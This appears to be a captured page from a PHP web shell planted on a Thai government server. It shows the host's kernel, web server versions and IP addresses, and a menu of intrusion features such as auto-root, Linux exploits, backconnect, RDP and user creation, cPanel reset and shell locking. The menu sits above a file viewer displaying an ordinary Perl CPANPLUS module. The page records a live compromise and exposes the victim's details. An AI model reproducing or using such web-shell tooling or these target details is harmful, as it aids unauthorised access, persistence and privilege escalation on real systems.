Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
CPANPLUS /
Internals /
Source /
SQLite /
[ HOME SHELL ]
Name
Size
Permission
Action
Tie.pm
3.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Tie.pm
package CPANPLUS::Internals::Source::SQLite::Tie; use strict; use warnings; use CPANPLUS::Error; use CPANPLUS::Module; use CPANPLUS::Module::Fake; use CPANPLUS::Module::Author::Fake; use CPANPLUS::Internals::Constants; use Params::Check qw[check]; use Module::Load::Conditional qw[can_load]; use Locale::Maketext::Simple Class => 'CPANPLUS', Style => 'gettext'; use Data::Dumper; $Data::Dumper::Indent = 1; require Tie::Hash; use vars qw[@ISA]; push @ISA, 'Tie::StdHash'; sub TIEHASH { my $class = shift; my %hash = @_; my $tmpl = { dbh => { required => 1 }, table => { required => 1 }, key => { required => 1 }, cb => { required => 1 }, offset => { default => 0 }, }; my $args = check( $tmpl, \%hash ) or return; my $obj = bless { %$args, store => {} } , $class; return $obj; } sub FETCH { my $self = shift; my $key = shift or return; my $dbh = $self->{dbh}; my $cb = $self->{cb}; my $table = $self->{table}; ### did we look this one up before? if( my $obj = $self->{store}->{$key} ) { return $obj; } my $res = $dbh->query( "SELECT * from $table where $self->{key} = ?", $key ) or do { error( $dbh->error ); return; }; my $href = $res->hash; ### get rid of the primary key delete $href->{'id'}; ### no results? return unless keys %$href; ### expand author if needed ### XXX no longer generic :( if( $table eq 'module' ) { $href->{author} = $cb->author_tree( $href->{author } ) or return; } my $class = { module => 'CPANPLUS::Module', author => 'CPANPLUS::Module::Author', }->{ $table }; my $obj = $self->{store}->{$key} = $class->new( %$href, _id => $cb->_id ); return $obj; } sub STORE { my $self = shift; my $key = shift; my $val = shift; $self->{store}->{$key} = $val; } 1; sub FIRSTKEY { my $self = shift; my $dbh = $self->{'dbh'}; my $res = $dbh->query( "select $self->{key} from $self->{table} order by $self->{key} limit 1" ); $self->{offset} = 0; my $key = $res->flat->[0]; return $key; } sub NEXTKEY { my $self = shift; my $dbh = $self->{'dbh'}; my $res = $dbh->query( "select $self->{key} from $self->{table} ". "order by $self->{key} limit 1 offset $self->{offset}" ); $self->{offset} +=1; my $key = $res->flat->[0]; my $val = $self->FETCH( $key ); ### use each() semantics return wantarray ? ( $key, $val ) : $key; } sub EXISTS { !!$_[0]->FETCH( $_[1] ) } sub SCALAR { my $self = shift; my $dbh = $self->{'dbh'}; my $res = $dbh->query( "select count(*) from $self->{table}" ); return $res->flat; } ### intentionally left blank sub DELETE { } sub CLEAR { }
Close